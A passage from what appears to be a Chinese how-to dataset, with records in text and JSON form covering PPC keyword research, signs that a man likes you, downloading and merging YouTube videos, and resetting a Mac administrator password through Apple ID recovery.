\"确保每钟关键字都最少有10个字，下面有几种常用的关键字设计：\", \"描述\": \"商标语，用你的商标命名产品，如果人们早就知道了你的产品，就用你的商标命名产品，因为你可以把你的网址和广告直接链接到产品页面。\\n产品，列出10到20个最受欢迎的产品，在这个时候人们可能还对你一无所知，但是他们会找一个特定的产品。\\n对手关键词。要把对手的最火产品也列出来，在你的网站上作比较，即使你的网站会显示在对方之后，但是这确实有助于你与之竞争。\\n相似产品和赠品。如果你了解到人们通常都是买套装，就把赠品也附在搜索词里。比如说，人们买棕色鞋子的时候可能也会需要棕色袜子。\\n研究买家条款。这些流行趋势的条目可能可以应用于人口统计学，看看购买你产品的买家而不是产品本身，记住可能要在网站上提到这种受欢迎的程度，也不要过于强求。要想成功利用买家条款，你要研究市场统计学或者雇人来做市场调查研究。\"}, {\"编号\": 3, \"标题\": \"去soovle.com找出主要网站中最热门的搜索，你可以打一个字，然后搜索框中就会出现搜索引擎上最热门的相关词语.\", \"描述\": \"这个可以帮你找到最有价值的长尾关键词，一般是具有极强针对性的2-4词组成的短语，但并不是经常被检索的。\"}, {\"编号\": 4, \"标题\": \"为每个网站重复这个过程。\", \"描述\": \"如果你的网站出售数以百计的不同产品，你的列表应该更广泛。\"}]}, {\"编号\": 2, \"标题\": \"关键字受欢迎程度\", \"步骤\": [{\"编号\": 1, \"标题\": \"登录Google免费关键字工具，网址是adwords.google.com/o/KeywordTool/。\", \"描述\": \"谷歌已经声明他们要关闭外部关键字工具，然而你也许可以创建或者注册一个谷歌AdWords账户，从而进入“关键字计划大师”。\"}, {\"编号\": 2, \"标题\": \"试试www.semrush.com，这些是可供选择的关键字搜索工具，找到免费的选项，因为这种网站既有要付费的项目，也有免费的项目。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"在你进行关键字工具调查的时候，把那些无人问津的结果排除掉。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"对手调查\", \"步骤\": [{\"编号\": 1, \"标题\": \"每个主要的搜索引擎都要做调查。\", \"描述\": \"用谷歌、微软必应或者其他网站简单地提出你的疑问。\"}, {\"编号\": 2, \"标题\": \"注意哪些搜索引擎有几乎不用付费的广告边栏，而哪些要付费。\", \"描述\": \"你可以找到高价值的搜索项。\"}, {\"编号\": 3, \"标题\": \"你可以参考有组织的广告关键词清单，把这些跟你的清单比较一下，看看它们的价值在哪里。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"分析高价值的关键词，你可以查查有关点击成本（CPC）的信息，从而衡量你的预算能不能承担特定关键词的费用。\", \"描述\": \"大多数点击付费（PPC）广告都要通过点击成本（CPC）竞标来运行。一般来说，趋势预测和工业项目对一些商家来说太贵了。尽管你还是可以在有机搜索引擎优化（SEO）上使用，但它们不太可能会对你的点击付费广告（PPC）关键词有所帮助。\"}, {\"编号\": 5, \"标题\": \"登录keywordspy.com，输入你剩下的关键词，然后按搜索。\", \"描述\": \"记住在搜索之前要选择“关键词”。\"}, {\"编号\": 6, \"标题\": \"写下每次点击费用的信息。\", \"描述\": \"\"}]}, {\"编号\": 4, \"标题\": \"最后的清单\", \"步骤\": [{\"编号\": 1, \"标题\": \"选10个你认为最有价值的关键词清单，应该控制在1至2个词。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"选10个长尾关键词，应该为3到4个词。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"在谷歌浏览器的工具栏中安装SEOQuake，这个插件可以向你详细展示有多少搜索在运行。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"用SEOQuake查找你所有的项目。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"评估每个关键字的价值和质量。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"最后敲定你要用的清单。\", \"描述\": \"\"}]}, {\"编号\": 5, \"标题\": \"关键字测试\", \"步骤\": [{\"编号\": 1, \"标题\": \"进入关键词测试阶段。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"注册谷歌关键词或者微软AdCenter账户。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"开始使用你最喜欢的关键词来进行广告活动。\", \"描述\": \"注意平衡预算。\"}, {\"编号\": 4, \"标题\": \"广告最少运行两周。\", \"描述\": \"之后回到你的账户中，看看哪个广告最成功，那就是你最有价值的关键字。\"}]}]}}",
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14,682 | 如何判断他是否喜欢你 | 1. 解读肢体语言
1-1. 直视对方眼睛。
如果他不躲避你的眼神，积极与你进行眼神交流的话，那他多半对你很感兴趣。同时这也是一个很好的调情技巧。始终保持眼神交流有助于双方迅速建立起联系，这在两人交谈时效果尤为明显
如果你每次抬起眼睛都能发现他正看着你，这可是个很好的兆头。这表明他很喜欢注视你，只是有点害羞，不敢接近你或是直接表明他对你很感兴趣。
1-2. 观察他身体是否倾向你。
人们会下意识地接近他们感兴趣的人。如果他身体不自主地向你靠近，那么就表示他和你一起时很舒服，想要与你再靠近点儿。这说明他对你很感兴趣。
如果他动来动去地有意靠近你，这也是个可喜的信号，表明他对你有意思。比如：你们正一起并排走着，他不断摆动双臂与你的手臂相互摩擦。
这种小动作是下意识的，微妙而难以察觉。你也可以做出类似地举动来制造暧昧。比如，走在路上遇到水洼时，明明水洼在他那一侧，你可以移动到他身体另一侧跳过水洼，然后借机再靠近他一点。
1-3. 观察他有无模仿你的肢体语言。
当一个人喜欢另一人时，通常会不自觉地模仿他的肢体语言。如果他有模仿你的某些动作，那么恭喜你，他潜意识里是喜欢你的哟。
例如：你喝完饮料几秒钟后，他也喝了一口饮料。或者，当你把手臂放在桌上时，他也把自己的手臂放在了桌上。
同样地，你也可以利用这一点来制造些小小的暧昧。当他翘起二郎腿时，你也模仿他翘起二郎腿。当他喝了几口饮料后，过几秒钟，你也喝口饮料。
1-4. 留神他是否与你有身体接触。
身体接触表明他对你很有兴趣。当你们认识有段时间了，或者他感到与你在一起很自在，那么他碰触你的次数也将大大增加。
暧昧不清的碰触包括以下这些：走路时手臂的摩擦（或许有意或许无意）；拍你的后背（更像普通朋友间的碰触）；任何“兄弟式”的碰触（比如碰拳，击掌等）。
明确代表他对你有好感的碰触：手环住你的腰；拥抱你时双手流连不去（双手可能在你背部或腰侧抚摩）；手臂环住你等等。
你也可以有意地触碰他来制造些小小暧昧。比如谈话时把手搭在他的手臂上，或者讲到好笑的事情时轻轻用手肘推他（可以对他露出你可爱的笑容哦）。
2. 观察他的行为
2-1. 留心他是否总伴你左右。
如果一个男生对你有好感的话，他会不自觉地在你身边打转。你会发现，每次转身都能看见他恰好在你身旁。即使他想尽力忽视你的存在，也会不自觉地在你身旁转悠。
如果他能记住你对他说过的话，那这就是最好的证明啦。这说明他不仅仅带了耳朵在听你说话，更是真的听进心里并记住了。如果他和你在一起只是为了性或是满足自己的自尊的话，他是不会把你说过的话一一用心记住的，很可能只是假装在倾听而已。
你也要注意用心倾听他的话哦。如果你能记住他的话，表现出对他的好感的话，他会很开心，这会让他觉得他对你很重要。
2-2. 注意他与你相处时是否紧张。
通常如果一个男生喜欢你，那他与你在一起时会紧张，因为他想表现好一点，给你留下个好印象。
注意看他是否会莫名傻笑，手心是否出汗，或是局促不安等等。他可能不太敢看你，无法镇定自若地与你对视。
此时你要尽量让他感到舒服与自在。可以跟他分享一些你的糗事，比如工作聚会时把酒水洒身上了之类。让他知道你不是不食人间烟火的，而是接地气的。
2-3. 留心他是否有对你献殷勤。
如果一个男生喜欢你，他会想要做一些暖心的事来博取你的好感。如果他对你献殷勤，尤其这其中还含有其他一些微妙的信号的话，就表明他是对你有好感的哦。
他可能会在你冷的时候给你披上一件外套，或是请你喝一杯咖啡，又或者是在你赶飞机时主动送你去机场等等。
礼尚往来，你也要多关心对方。这会让他知道，你并不是把别人的好当成理所当然的人，相反你都记在心里并且懂得感恩。但是记住，如果不喜欢他就不要利用他对你的好。
2-4. 倾听对方的赞美。
如果一个男生喜欢你，他一定会有意无意地表现出对你的欣赏。这种欣赏或赞美并不局限于外表，任何美好的一面都有可能。
他可能会夸一下你的新发型（这表示他有仔细观察，对你很上心），或者夸奖你最近工作上的表现。
3. 判断他是否对你不感兴趣。
3-1. 留心他是否不倾听你讲话。
上面讲过，如果一个男生喜欢你，他会很想去了解你， 也就是说，他会认真倾听你的讲话并一一记住。如果你发现他并没有认真听你讲话，那么很可能他对你并无兴趣，这时你就要努力啦。
他可能不会问你很多问题以深入了解你。这可能是因为他对你不感兴趣，抑或是对你有兴趣，但过分自我，无法把你当做一个成熟而值得挖掘的对象来对待。
3-2. 留意他是否不与你进行眼神交流。
有些男生出于紧张可能不会与有好感的女生多作眼神交流，但时不时地他总会忍不住与对方对视。如果他总是东张西望，不与你对视，那么他肯定是对你没有意思。
注意，如果他一直不停地看手机而不听你讲话，那很显然，他并不那么在意你。
3-3. 观察他的身体语言。
他的身体语言总能透露出一些信号，如果他不喜欢你，那么他的身体语言肯定会表露出来。
他从不试着接近你或碰触你。如果他从不会细心照顾你，做上述提到的那类暖心的事情的话，那他多半是对你没有意思。
如果他对你有兴趣，那么即使他很腼腆，或是忙着自己感兴趣的事而不小心忽略了你，他仍然会时不时地在你身边打转。如果他从不陪伴你左右，那他很可能对你并没有兴趣。
3-4. 24小时内不回你的电话。
如果一个男生喜欢某个女生，他肯定会与其保持联系，很少有例外。发一条短信只需要5秒钟，即使是一条“在忙，等会儿联系”的短信也可以。如果他喜欢你，就不会让你一个人无休止地焦急等待。
3-5. 观察他是否不愿意进入你的社交圈。
如果他总是找借口不见你的朋友，那他多半没那么喜欢你。诚然，你也许并不想那么快地介绍他和你朋友认识，但如果两人已经交往一段时间了，而他仍然不愿意见你朋友，那么相信我，他没那么喜欢你。
同理，如果他不愿意把你介绍给他的朋友认识，也说明他没那么喜欢你。这表明他对你们的关系并不认真，否则他早就亟不可待地向兄弟们炫耀了。
小提示
想要知道他是否喜欢你，最好的解决办法也许是直接问他。表面上看来，这会令你十分紧张而忐忑，但这的确是最成熟的应对方法。或许你因此而收获了一个男朋友呢？
留心以下这些身体语言，比如笑容，与你在一起时流露出的霸道总裁气场，眉来眼去等等。这些可都是他喜欢你的铁证哦。
警告
记住，本文所述并非严谨的科学。人与人是有差异的，有些人的行为可能与描述的情况相符合，但并不是所有情况都适用。
如果你感觉到他只是利用你来提高自己的受欢迎度，那就跟他保持距离吧，这样的感情很有可能会使你受伤。
如果他对你的态度和对他的兄弟无异，那很可能他对你的好感无关男女之情。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 解读肢体语言\\n1-1. 直视对方眼睛。\\n如果他不躲避你的眼神，积极与你进行眼神交流的话，那他多半对你很感兴趣。同时这也是一个很好的调情技巧。始终保持眼神交流有助于双方迅速建立起联系，这在两人交谈时效果尤为明显\\n如果你每次抬起眼睛都能发现他正看着你，这可是个很好的兆头。这表明他很喜欢注视你，只是有点害羞，不敢接近你或是直接表明他对你很感兴趣。\\n1-2. 观察他身体是否倾向你。\\n人们会下意识地接近他们感兴趣的人。如果他身体不自主地向你靠近，那么就表示他和你一起时很舒服，想要与你再靠近点儿。这说明他对你很感兴趣。\\n如果他动来动去地有意靠近你，这也是个可喜的信号，表明他对你有意思。比如：你们正一起并排走着，他不断摆动双臂与你的手臂相互摩擦。\\n这种小动作是下意识的，微妙而难以察觉。你也可以做出类似地举动来制造暧昧。比如，走在路上遇到水洼时，明明水洼在他那一侧，你可以移动到他身体另一侧跳过水洼，然后借机再靠近他一点。\\n1-3. 观察他有无模仿你的肢体语言。\\n当一个人喜欢另一人时，通常会不自觉地模仿他的肢体语言。如果他有模仿你的某些动作，那么恭喜你，他潜意识里是喜欢你的哟。\\n例如：你喝完饮料几秒钟后，他也喝了一口饮料。或者，当你把手臂放在桌上时，他也把自己的手臂放在了桌上。\\n同样地，你也可以利用这一点来制造些小小的暧昧。当他翘起二郎腿时，你也模仿他翘起二郎腿。当他喝了几口饮料后，过几秒钟，你也喝口饮料。\\n1-4. 留神他是否与你有身体接触。\\n身体接触表明他对你很有兴趣。当你们认识有段时间了，或者他感到与你在一起很自在，那么他碰触你的次数也将大大增加。\\n暧昧不清的碰触包括以下这些：走路时手臂的摩擦（或许有意或许无意）；拍你的后背（更像普通朋友间的碰触）；任何“兄弟式”的碰触（比如碰拳，击掌等）。\\n明确代表他对你有好感的碰触：手环住你的腰；拥抱你时双手流连不去（双手可能在你背部或腰侧抚摩）；手臂环住你等等。\\n你也可以有意地触碰他来制造些小小暧昧。比如谈话时把手搭在他的手臂上，或者讲到好笑的事情时轻轻用手肘推他（可以对他露出你可爱的笑容哦）。\\n2. 观察他的行为\\n2-1. 留心他是否总伴你左右。\\n如果一个男生对你有好感的话，他会不自觉地在你身边打转。你会发现，每次转身都能看见他恰好在你身旁。即使他想尽力忽视你的存在，也会不自觉地在你身旁转悠。\\n如果他能记住你对他说过的话，那这就是最好的证明啦。这说明他不仅仅带了耳朵在听你说话，更是真的听进心里并记住了。如果他和你在一起只是为了性或是满足自己的自尊的话，他是不会把你说过的话一一用心记住的，很可能只是假装在倾听而已。\\n你也要注意用心倾听他的话哦。如果你能记住他的话，表现出对他的好感的话，他会很开心，这会让他觉得他对你很重要。\\n2-2. 注意他与你相处时是否紧张。\\n通常如果一个男生喜欢你，那他与你在一起时会紧张，因为他想表现好一点，给你留下个好印象。\\n注意看他是否会莫名傻笑，手心是否出汗，或是局促不安等等。他可能不太敢看你，无法镇定自若地与你对视。\\n此时你要尽量让他感到舒服与自在。可以跟他分享一些你的糗事，比如工作聚会时把酒水洒身上了之类。让他知道你不是不食人间烟火的，而是接地气的。\\n2-3. 留心他是否有对你献殷勤。\\n如果一个男生喜欢你，他会想要做一些暖心的事来博取你的好感。如果他对你献殷勤，尤其这其中还含有其他一些微妙的信号的话，就表明他是对你有好感的哦。\\n他可能会在你冷的时候给你披上一件外套，或是请你喝一杯咖啡，又或者是在你赶飞机时主动送你去机场等等。\\n礼尚往来，你也要多关心对方。这会让他知道，你并不是把别人的好当成理所当然的人，相反你都记在心里并且懂得感恩。但是记住，如果不喜欢他就不要利用他对你的好。\\n2-4. 倾听对方的赞美。\\n如果一个男生喜欢你，他一定会有意无意地表现出对你的欣赏。这种欣赏或赞美并不局限于外表，任何美好的一面都有可能。\\n他可能会夸一下你的新发型（这表示他有仔细观察，对你很上心），或者夸奖你最近工作上的表现。\\n3. 判断他是否对你不感兴趣。\\n3-1. 留心他是否不倾听你讲话。\\n上面讲过，如果一个男生喜欢你，他会很想去了解你， 也就是说，他会认真倾听你的讲话并一一记住。如果你发现他并没有认真听你讲话，那么很可能他对你并无兴趣，这时你就要努力啦。\\n他可能不会问你很多问题以深入了解你。这可能是因为他对你不感兴趣，抑或是对你有兴趣，但过分自我，无法把你当做一个成熟而值得挖掘的对象来对待。\\n3-2. 留意他是否不与你进行眼神交流。\\n有些男生出于紧张可能不会与有好感的女生多作眼神交流，但时不时地他总会忍不住与对方对视。如果他总是东张西望，不与你对视，那么他肯定是对你没有意思。\\n注意，如果他一直不停地看手机而不听你讲话，那很显然，他并不那么在意你。\\n3-3. 观察他的身体语言。\\n他的身体语言总能透露出一些信号，如果他不喜欢你，那么他的身体语言肯定会表露出来。\\n他从不试着接近你或碰触你。如果他从不会细心照顾你，做上述提到的那类暖心的事情的话，那他多半是对你没有意思。\\n如果他对你有兴趣，那么即使他很腼腆，或是忙着自己感兴趣的事而不小心忽略了你，他仍然会时不时地在你身边打转。如果他从不陪伴你左右，那他很可能对你并没有兴趣。\\n3-4. 24小时内不回你的电话。\\n如果一个男生喜欢某个女生，他肯定会与其保持联系，很少有例外。发一条短信只需要5秒钟，即使是一条“在忙，等会儿联系”的短信也可以。如果他喜欢你，就不会让你一个人无休止地焦急等待。\\n3-5. 观察他是否不愿意进入你的社交圈。\\n如果他总是找借口不见你的朋友，那他多半没那么喜欢你。诚然，你也许并不想那么快地介绍他和你朋友认识，但如果两人已经交往一段时间了，而他仍然不愿意见你朋友，那么相信我，他没那么喜欢你。\\n同理，如果他不愿意把你介绍给他的朋友认识，也说明他没那么喜欢你。这表明他对你们的关系并不认真，否则他早就亟不可待地向兄弟们炫耀了。\\n小提示\\n想要知道他是否喜欢你，最好的解决办法也许是直接问他。表面上看来，这会令你十分紧张而忐忑，但这的确是最成熟的应对方法。或许你因此而收获了一个男朋友呢？\\n留心以下这些身体语言，比如笑容，与你在一起时流露出的霸道总裁气场，眉来眼去等等。这些可都是他喜欢你的铁证哦。\\n警告\\n记住，本文所述并非严谨的科学。人与人是有差异的，有些人的行为可能与描述的情况相符合，但并不是所有情况都适用。\\n如果你感觉到他只是利用你来提高自己的受欢迎度，那就跟他保持距离吧，这样的感情很有可能会使你受伤。\\n如果他对你的态度和对他的兄弟无异，那很可能他对你的好感无关男女之情。\\n\", \"简要回答\": \"也许你正和一个优秀的男生处于暧昧阶段，那么如何判断他是否真正喜欢你呢？本文即将教给你的这些方法并非严谨的科学原理，但并不妨碍我们从这些蛛丝马迹出发，推断他是否有发出喜欢你的信号哦。所以和他相处时要多加注意了，也许他已经下意识地表现出他心里所想的啦。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"解读肢体语言\", \"步骤\": [{\"编号\": 1, \"标题\": \"直视对方眼睛。\", \"描述\": \"如果他不躲避你的眼神，积极与你进行眼神交流的话，那他多半对你很感兴趣。同时这也是一个很好的调情技巧。始终保持眼神交流有助于双方迅速建立起联系，这在两人交谈时效果尤为明显\\n如果你每次抬起眼睛都能发现他正看着你，这可是个很好的兆头。这表明他很喜欢注视你，只是有点害羞，不敢接近你或是直接表明他对你很感兴趣。\"}, {\"编号\": 2, \"标题\": \"观察他身体是否倾向你。\", \"描述\": \"人们会下意识地接近他们感兴趣的人。如果他身体不自主地向你靠近，那么就表示他和你一起时很舒服，想要与你再靠近点儿。这说明他对你很感兴趣。\\n如果他动来动去地有意靠近你，这也是个可喜的信号，表明他对你有意思。比如：你们正一起并排走着，他不断摆动双臂与你的手臂相互摩擦。\\n这种小动作是下意识的，微妙而难以察觉。你也可以做出类似地举动来制造暧昧。比如，走在路上遇到水洼时，明明水洼在他那一侧，你可以移动到他身体另一侧跳过水洼，然后借机再靠近他一点。\"}, {\"编号\": 3, \"标题\": \"观察他有无模仿你的肢体语言。\", \"描述\": \"当一个人喜欢另一人时，通常会不自觉地模仿他的肢体语言。如果他有模仿你的某些动作，那么恭喜你，他潜意识里是喜欢你的哟。\\n例如：你喝完饮料几秒钟后，他也喝了一口饮料。或者，当你把手臂放在桌上时，他也把自己的手臂放在了桌上。\\n同样地，你也可以利用这一点来制造些小小的暧昧。当他翘起二郎腿时，你也模仿他翘起二郎腿。当他喝了几口饮料后，过几秒钟，你也喝口饮料。\"}, {\"编号\": 4, \"标题\": \"留神他是否与你有身体接触。\", \"描述\": \"身体接触表明他对你很有兴趣。当你们认识有段时间了，或者他感到与你在一起很自在，那么他碰触你的次数也将大大增加。\\n暧昧不清的碰触包括以下这些：走路时手臂的摩擦（或许有意或许无意）；拍你的后背（更像普通朋友间的碰触）；任何“兄弟式”的碰触（比如碰拳，击掌等）。\\n明确代表他对你有好感的碰触：手环住你的腰；拥抱你时双手流连不去（双手可能在你背部或腰侧抚摩）；手臂环住你等等。\\n你也可以有意地触碰他来制造些小小暧昧。比如谈话时把手搭在他的手臂上，或者讲到好笑的事情时轻轻用手肘推他（可以对他露出你可爱的笑容哦）。\"}]}, {\"编号\": 2, \"标题\": \"观察他的行为\", \"步骤\": [{\"编号\": 1, \"标题\": \"留心他是否总伴你左右。\", \"描述\": \"如果一个男生对你有好感的话，他会不自觉地在你身边打转。你会发现，每次转身都能看见他恰好在你身旁。即使他想尽力忽视你的存在，也会不自觉地在你身旁转悠。\\n如果他能记住你对他说过的话，那这就是最好的证明啦。这说明他不仅仅带了耳朵在听你说话，更是真的听进心里并记住了。如果他和你在一起只是为了性或是满足自己的自尊的话，他是不会把你说过的话一一用心记住的，很可能只是假装在倾听而已。\\n你也要注意用心倾听他的话哦。如果你能记住他的话，表现出对他的好感的话，他会很开心，这会让他觉得他对你很重要。\"}, {\"编号\": 2, \"标题\": \"注意他与你相处时是否紧张。\", \"描述\": \"通常如果一个男生喜欢你，那他与你在一起时会紧张，因为他想表现好一点，给你留下个好印象。\\n注意看他是否会莫名傻笑，手心是否出汗，或是局促不安等等。他可能不太敢看你，无法镇定自若地与你对视。\\n此时你要尽量让他感到舒服与自在。可以跟他分享一些你的糗事，比如工作聚会时把酒水洒身上了之类。让他知道你不是不食人间烟火的，而是接地气的。\"}, {\"编号\": 3, \"标题\": \"留心他是否有对你献殷勤。\", \"描述\": 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\"他的身体语言总能透露出一些信号，如果他不喜欢你，那么他的身体语言肯定会表露出来。\\n他从不试着接近你或碰触你。如果他从不会细心照顾你，做上述提到的那类暖心的事情的话，那他多半是对你没有意思。\\n如果他对你有兴趣，那么即使他很腼腆，或是忙着自己感兴趣的事而不小心忽略了你，他仍然会时不时地在你身边打转。如果他从不陪伴你左右，那他很可能对你并没有兴趣。\"}, {\"编号\": 4, \"标题\": \"24小时内不回你的电话。\", \"描述\": \"如果一个男生喜欢某个女生，他肯定会与其保持联系，很少有例外。发一条短信只需要5秒钟，即使是一条“在忙，等会儿联系”的短信也可以。如果他喜欢你，就不会让你一个人无休止地焦急等待。\"}, {\"编号\": 5, \"标题\": \"观察他是否不愿意进入你的社交圈。\", \"描述\": \"如果他总是找借口不见你的朋友，那他多半没那么喜欢你。诚然，你也许并不想那么快地介绍他和你朋友认识，但如果两人已经交往一段时间了，而他仍然不愿意见你朋友，那么相信我，他没那么喜欢你。\\n同理，如果他不愿意把你介绍给他的朋友认识，也说明他没那么喜欢你。这表明他对你们的关系并不认真，否则他早就亟不可待地向兄弟们炫耀了。\"}], \"小提示\": [\"想要知道他是否喜欢你，最好的解决办法也许是直接问他。表面上看来，这会令你十分紧张而忐忑，但这的确是最成熟的应对方法。或许你因此而收获了一个男朋友呢？\\n\", \"留心以下这些身体语言，比如笑容，与你在一起时流露出的霸道总裁气场，眉来眼去等等。这些可都是他喜欢你的铁证哦。\\n\"], \"注意事项\": [\"记住，本文所述并非严谨的科学。人与人是有差异的，有些人的行为可能与描述的情况相符合，但并不是所有情况都适用。\\n\", \"如果你感觉到他只是利用你来提高自己的受欢迎度，那就跟他保持距离吧，这样的感情很有可能会使你受伤。\\n\", \"如果他对你的态度和对他的兄弟无异，那很可能他对你的好感无关男女之情。\\n\"]}]}}",
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14,683 | 如何使用YouTube下载器从YouTube下载完整影片 | 1. 步骤
1-1. 打开YouTube下载器网站，或者访问某一流行的软件下载站点。
把最新版本的下载器下载到你的电脑上。下载器的安装文件不大，能够很快地完成对它的下载。另外也有一个专业版本的下载器程序可供购买，单大部分用户只需要使用免费版本即可。
1-2. 安装程序。
在安装过程中，程序将尝试安装几个工具栏以及广告程序。确保在安装过程中禁用其他附加的安装选项，因为一旦安装了其他选项后，再想要删除它们就比较难了。
1-3. 找出需要下载的YouTube视频。
从浏览器的地址栏中复制URL地址。打开YouTube下载器并选择下载选项卡。把链接复制粘贴到顶部的输入域。在下拉菜单中选择视频质量，并设置电脑上的一个位置用于保存视频文件。设置好后，点击下载大按钮。
重复该过程下载所有需要的视频。
1-4. 找出一种免费的视频合并程序。
有多种免费软件程序能让你把多个影片合并在一起。如果你从YouTube下载的影片分成了几个部分，这些程序尤其有用。在线搜索“视频连接”或者“合并视频”，并查看相关软件的评论，找出满足你的需求的一种软件。
大部分免费软件都会尝试在你的浏览器中安装工具栏。在安装过程中，请仔细检查有哪些对象将会被安装。
1-5. 把从YouTube下载的所有视频加载到视频合并程序中。
确保以正确的顺序加载这些视频。
1-6. 开始转换过程。
如果你打算在iPhone或iPad上观看该视频，那么应确保在合并过程中把视频转换为MP4格式。这将保证视频能够在你的设备上播放。
1-7. 测试你的视频。
合并过程完成后，在你的电脑上测试所得视频，确保各部分都以正确的顺序播出。应在删除你的原始视频前先进性测试，以防你需要重新转换这些文件。
小提示
不要关闭YouTube下载器的主窗口，因为这将关闭所有其他窗口并停止下载。
如果你把视频添加到iTunes时，视频没有显示，那么可以尝试在搜索栏中进行搜索（确保你进入到视频部分）。如果你仍然无法找到视频，尝试再添加一次。
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"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 打开YouTube下载器网站，或者访问某一流行的软件下载站点。\\n把最新版本的下载器下载到你的电脑上。下载器的安装文件不大，能够很快地完成对它的下载。另外也有一个专业版本的下载器程序可供购买，单大部分用户只需要使用免费版本即可。\\n1-2. 安装程序。\\n在安装过程中，程序将尝试安装几个工具栏以及广告程序。确保在安装过程中禁用其他附加的安装选项，因为一旦安装了其他选项后，再想要删除它们就比较难了。\\n1-3. 找出需要下载的YouTube视频。\\n从浏览器的地址栏中复制URL地址。打开YouTube下载器并选择下载选项卡。把链接复制粘贴到顶部的输入域。在下拉菜单中选择视频质量，并设置电脑上的一个位置用于保存视频文件。设置好后，点击下载大按钮。\\n重复该过程下载所有需要的视频。\\n1-4. 找出一种免费的视频合并程序。\\n有多种免费软件程序能让你把多个影片合并在一起。如果你从YouTube下载的影片分成了几个部分，这些程序尤其有用。在线搜索“视频连接”或者“合并视频”，并查看相关软件的评论，找出满足你的需求的一种软件。\\n大部分免费软件都会尝试在你的浏览器中安装工具栏。在安装过程中，请仔细检查有哪些对象将会被安装。\\n1-5. 把从YouTube下载的所有视频加载到视频合并程序中。\\n确保以正确的顺序加载这些视频。\\n1-6. 开始转换过程。\\n如果你打算在iPhone或iPad上观看该视频，那么应确保在合并过程中把视频转换为MP4格式。这将保证视频能够在你的设备上播放。\\n1-7. 测试你的视频。\\n合并过程完成后，在你的电脑上测试所得视频，确保各部分都以正确的顺序播出。应在删除你的原始视频前先进性测试，以防你需要重新转换这些文件。\\n小提示\\n不要关闭YouTube下载器的主窗口，因为这将关闭所有其他窗口并停止下载。\\n如果你把视频添加到iTunes时，视频没有显示，那么可以尝试在搜索栏中进行搜索（确保你进入到视频部分）。如果你仍然无法找到视频，尝试再添加一次。\\n\", \"简要回答\": \"你是否在YouTube上找到了一段完整的影片，而且希望在观看时不用每15分钟就进行视频转换？使用YouTube下载器以及视频合并程序，你就可以下载影片的所有视频片段并把它们合并为一段完整的影片！参考本指南了解具体的实现方法。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开YouTube下载器网站，或者访问某一流行的软件下载站点。\", \"描述\": \"把最新版本的下载器下载到你的电脑上。下载器的安装文件不大，能够很快地完成对它的下载。另外也有一个专业版本的下载器程序可供购买，单大部分用户只需要使用免费版本即可。\"}, {\"编号\": 2, \"标题\": \"安装程序。\", \"描述\": \"在安装过程中，程序将尝试安装几个工具栏以及广告程序。确保在安装过程中禁用其他附加的安装选项，因为一旦安装了其他选项后，再想要删除它们就比较难了。\"}, {\"编号\": 3, \"标题\": \"找出需要下载的YouTube视频。\", \"描述\": \"从浏览器的地址栏中复制URL地址。打开YouTube下载器并选择下载选项卡。把链接复制粘贴到顶部的输入域。在下拉菜单中选择视频质量，并设置电脑上的一个位置用于保存视频文件。设置好后，点击下载大按钮。\\n重复该过程下载所有需要的视频。\"}, {\"编号\": 4, \"标题\": \"找出一种免费的视频合并程序。\", \"描述\": \"有多种免费软件程序能让你把多个影片合并在一起。如果你从YouTube下载的影片分成了几个部分，这些程序尤其有用。在线搜索“视频连接”或者“合并视频”，并查看相关软件的评论，找出满足你的需求的一种软件。\\n大部分免费软件都会尝试在你的浏览器中安装工具栏。在安装过程中，请仔细检查有哪些对象将会被安装。\"}, {\"编号\": 5, \"标题\": \"把从YouTube下载的所有视频加载到视频合并程序中。\", \"描述\": \"确保以正确的顺序加载这些视频。\"}, {\"编号\": 6, \"标题\": \"开始转换过程。\", \"描述\": \"如果你打算在iPhone或iPad上观看该视频，那么应确保在合并过程中把视频转换为MP4格式。这将保证视频能够在你的设备上播放。\"}, {\"编号\": 7, \"标题\": \"测试你的视频。\", \"描述\": \"合并过程完成后，在你的电脑上测试所得视频，确保各部分都以正确的顺序播出。应在删除你的原始视频前先进性测试，以防你需要重新转换这些文件。\"}], \"小提示\": [\"不要关闭YouTube下载器的主窗口，因为这将关闭所有其他窗口并停止下载。\\n\", \"如果你把视频添加到iTunes时，视频没有显示，那么可以尝试在搜索栏中进行搜索（确保你进入到视频部分）。如果你仍然无法找到视频，尝试再添加一次。\\n\"]}]}}",
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14,684 | 如何在Mac OS X上重置丢失了的管理员密码 | 1. 使用Apple ID
1-1. 连续三次输错密码后，系统会弹出提示窗口。
如果你第一次设置账户时，启用了安全功能，那么你应该能使用你的Apple ID来重置密码。这个方法仅在启用“允许用户使用 Apple ID 重设密码”功能后才能使用。
如果已进入Mac界面，你可以点击苹果菜单，选择“系统偏好设置”来打开这项设置。在系统偏好设置窗口中，选择“用户与群组”选项，然后选中你的账户。点按锁按钮来解锁设置，进行更改，然后点击“允许用户使用 Apple ID 重设密码”。
1-2. 点击出现的链接来重置你的密码。
连续三次输错密码后，系统会弹出提示窗口（“如果忘记密码，您可以…使用您的 Apple ID 来重设”，或“使用您的主密码来重设”）。如果没有出现这一选项，说明电脑没有启用该项功能，你需要用其它方法来重置密码。
1-3. 输入你的苹果账户（Apple ID）密码。
想要重置管理员密码，首先需要输入苹果账户密码。这里的苹果账户需要曾经关联过你的Mac用户账户。
1-4. 创建新的管理员密码。
输入正确的苹果账户密码后，系统会提示你创建一个新的管理员密码。你需要输入密码两次来创建新密码。
1-5. 重启后使用新密码进行登录。
创建新的管理员密码后，你需要重启计算机。重启后，在登录界面输入新创建的密码来登录账户。
1-6. 创建新的钥匙串。
